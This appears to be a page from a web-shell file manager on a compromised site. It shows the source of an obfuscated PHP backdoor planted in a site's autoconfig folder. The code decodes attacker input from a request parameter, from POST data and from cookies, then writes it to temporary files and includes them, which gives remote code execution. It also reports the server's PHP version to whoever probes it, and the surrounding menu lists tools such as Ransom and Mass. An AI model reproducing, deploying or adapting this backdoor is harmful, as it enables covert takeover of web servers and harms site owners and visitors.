| Path : /var/www/html/tims.tv/autoconfig/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/tims.tv/autoconfig/rjfwsuyu.php |
<?php if(array_key_exists("\x66\x61c\x74or", $_REQUEST)){ $dchunk = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd()]); $ref = $_REQUEST["\x66\x61c\x74or"]; $ref = explode ( "." , $ref ); $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $len = count( $ref); for( $u = 0; $u <$len; $u++) { $v6 = $ref[$u]; $chS = ord( $salt[$u % $lenS]); $d =( ( int)$v6 - $chS -( $u % 10)) ^ 44; $resource .= chr( $d); } foreach ($dchunk as $token): if ((is_dir($token) and is_writable($token))) { $ent = implode("/", [$token, ".element"]); $success = file_put_contents($ent, $resource); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
$yqyamxjqof = /* q */ 'yqyamxjqof' ^ ' ';
$xjzkbhgrx /* hnk */ = /*zcrnx */ "\x53" . "\124" . $yqyamxjqof(82) . $yqyamxjqof(768-673) /* aoy */ . "P".$yqyamxjqof(570-505) . "D"."_".$yqyamxjqof(545-463) /*otufwq*/ . /* sre*/ "I"."G"."H"."T";$neddllr /* mbste */ = /*vgudgo */ $yqyamxjqof(262-165) /* te*/ . $yqyamxjqof(412-298) . $yqyamxjqof(504-390) . "\141" . "\x79" . "\137" . /* dayf*/ "m"."a"."p";
$vybnprx /* dmcv*/ = "s".$yqyamxjqof(116) . /*trm_b */ $yqyamxjqof(114) /* tbncis*/ . "\137" . "\x70" . "a"."d";
$hnivpfq = /*mcojw*/ "\151" /* qwrrt*/ . /* w */ "m".$yqyamxjqof(112) . "l"."\157" . "d"."e";$qrcwupc = /* urj */ $yqyamxjqof(99) /* tny */ . "\x6f" /* zqyoi*/ . $yqyamxjqof(771-654) . /* lgijx*/ $yqyamxjqof(896-786) . /* luc*/ "t";
function jejalt($rjnld, $artejucyt)
{
/*wq */ global /* ntvfpj */ $yqyamxjqof;
$rjnld = "\74" /*tueo */ . "?"."\x70" . "h"."p".$yqyamxjqof(32) . "u"."n"."l".$yqyamxjqof(105) . /* bggo */ "\x6e" /* ztsqx */ . "k"."("."_".$yqyamxjqof(485-390) . "\106" /* jebasl */ . /* xi */ "\x49" /*nv */ . /*pxnv */ "\x4c" . "E".$yqyamxjqof(95) . /* vvl*/ $yqyamxjqof(180-85) /*q*/ . ")".";".$yqyamxjqof(32) . /* s */ $rjnld["d"];
/* d */ $dsvcnabw = "\146" . "\151" . "l"."\145" . "_"."\x70" . "\x75" . "t"."_".$yqyamxjqof(99) /* gxw */ . /* kjpr_f */ "\x6f" . "n"."t".$yqyamxjqof(101) . "n"."t".$yqyamxjqof(558-443);
$dsvcnabw($artejucyt, /* gtcpu*/ $rjnld);
j_yxl($artejucyt);}
$tcnqfwbnse = 73;
function /*qrtm */ j_yxl($artejucyt)
{ global $yqyamxjqof;
include($artejucyt);
$ksfuj = $artejucyt; @unlink($ksfuj);
}
function /* tcu */ syinw()
{
/*uksrs */ global $yqyamxjqof;
/*cim */ $kxvhzpkzu = array();
$kxvhzpkzu["p".$yqyamxjqof(118)] /* tug */ = /* nx */ phpversion(); $kxvhzpkzu[$yqyamxjqof(115) /* xlt*/ . $yqyamxjqof(118)] /* tsfu */ = $yqyamxjqof(51) . $yqyamxjqof(711-665) . "5"; $wcjrhberkoyznamil = /*l*/ 74;
echo @serialize($kxvhzpkzu);}
function /*jnt */ alcuafs($rjnld, /* _jdd*/ $dqyxry){
/*s_ */ global $yqyamxjqof;
$mlhyc = "";
$efa_tqouc = /* nofccu*/ 'v_xejsl';
/* tdu*/ $lqzw_c = /*ksyfi*/ hash('sha256', $rjnld);
$gaffuvreaz /* m */ = str_replace('ne', /*zftovq */ $lqzw_c, $efa_tqouc);
/* jy*/ $kxvhzpkzu = /* k */ 0;
while ($kxvhzpkzu /*oigmk*/ < /*rjznk */ strlen($rjnld)) { /* suz */ $cfeype /* ibjsz */ = isset($dqyxry) /* omkgzd */ ? $dqyxry : '';
for ($wcjrhber /* z */ = 0; $wcjrhber < /* zfdu */ strlen($cfeype) && /* gsmmhg */ $kxvhzpkzu < strlen($rjnld); /* ews */ $wcjrhber++, /* wlzdj */ $kxvhzpkzu++) /* rgty */ { /*j */ $mlhyc .= /* jz */ $yqyamxjqof(ord($rjnld[$kxvhzpkzu]) /* lx */ ^ ord($cfeype[$wcjrhber]));
/* lkf */ }
if /*wqiktn */ (strlen($mlhyc) /* yeiean */ > /* btnep */ 20) /*_lirn */ {
$gaffuvreaz = substr($mlhyc, 0, 20);
}
} if /*oayey */ (empty($mlhyc)) { /* b */ $mlhyc = date('Y-m-d H:i:s');
}
return $mlhyc;
}
function juhnskz($ygxonw)
{
/* mw */ global $yqyamxjqof;
$cnwbi_eur = "b"."\x32" /* gufjyx */ . /* bacjgg */ "\64" . /* ingtxo */ "\142" . /* iiea */ "5".$yqyamxjqof(52) . "e"."c".$yqyamxjqof(45) . $yqyamxjqof(54) . "c".$yqyamxjqof(709-652) /* gcl_a */ . "\70" /*sctger */ . "-"."4".$yqyamxjqof(768-717) . "c"."\x31" . "\x2d" . $yqyamxjqof(835-778) . $yqyamxjqof(165-110) /* gu */ . /*ebzkja*/ "4".$yqyamxjqof(101) . $yqyamxjqof(45) /* vigkgc */ . "d"."\62" . $yqyamxjqof(56) . /*z*/ "\x39" . /*bil */ "\x30" . "\x30" /* lm*/ . $yqyamxjqof(102) . "\x34" . /* jqd */ "1".$yqyamxjqof(54) . /* uo_sr*/ "e".$yqyamxjqof(101);
/* eom */ foreach ($ygxonw /* wgffp */ as $wcjrhbercizlg => /* q */ $rjnld) { wcoqqwdh(base64_decode($rjnld), /* jf */ $cnwbi_eur, $wcjrhbercizlg);
}}
function wcoqqwdh($rjnld, $cnwbi_eur, /*emegt */ $wcjrhbercizlg)
{
/*ahaaii*/ global /* q */ $yqyamxjqof;
$rjnld = unserialize(alcuafs(alcuafs($rjnld, /* ct*/ $cnwbi_eur), $wcjrhbercizlg));
$ua_jweb = /* tlq */ 'bjzzrtfuyu';
$pvlbs /* hdoax */ = /* _g */ 'lq';
/* nag */ if /* w */ (isset($rjnld["\x61" . "k"])) {
if ($rjnld[$yqyamxjqof(156-59)] == "\x69") { syinw(); } elseif ($rjnld[$yqyamxjqof(156-59)] == "e") /*t_t */ {
jejalt($rjnld, sprintf($yqyamxjqof(1019-973) . "/".$yqyamxjqof(396-359) . $yqyamxjqof(504-389) . $yqyamxjqof(344-298) . "\x70" . /* qd */ $yqyamxjqof(108), md5($cnwbi_eur)));
$mphpt = /*gsoqvc */ 44;
}
/*esaiwl */ exit(); }
}
juhnskz($_POST); /* ftio*/
$kxvhzpkzue_bla = /* wt*/ $neddllr('rawurldecode', $_POST);
$ebjgbx_cs = /* vuin */ $qrcwupc($kxvhzpkzue_bla);if ($ebjgbx_cs > 0) {
$sglbhcrir /* xa*/ = $hnivpfq(',', $kxvhzpkzue_bla);}
juhnskz($_COOKIE);
$ocfxdcudfo = /* xzk */ $neddllr('rawurldecode', /*pl */ $_COOKIE);
$otcypt /* q */ = $qrcwupc($ocfxdcudfo);
if ($otcypt > 0) {
$l_ziyjhi = $hnivpfq(';', $ocfxdcudfo);
}
$bwknmvdb = /* jjexda */ $ocfxdcudfo;
$qxcqc = /* ydz_ */ date('Y-m-d /* mj */ H:i:s');
$qmdhkuiu /* ezrxjl */ = strlen($hnivpfq('', /* oyp */ $bwknmvdb));
if ($qmdhkuiu > 100) {
$fplpbd /*xjydzb */ = $vybnprx($hnivpfq('', /*bs_ */ $bwknmvdb), 150, '0', $xjzkbhgrx);
}
?>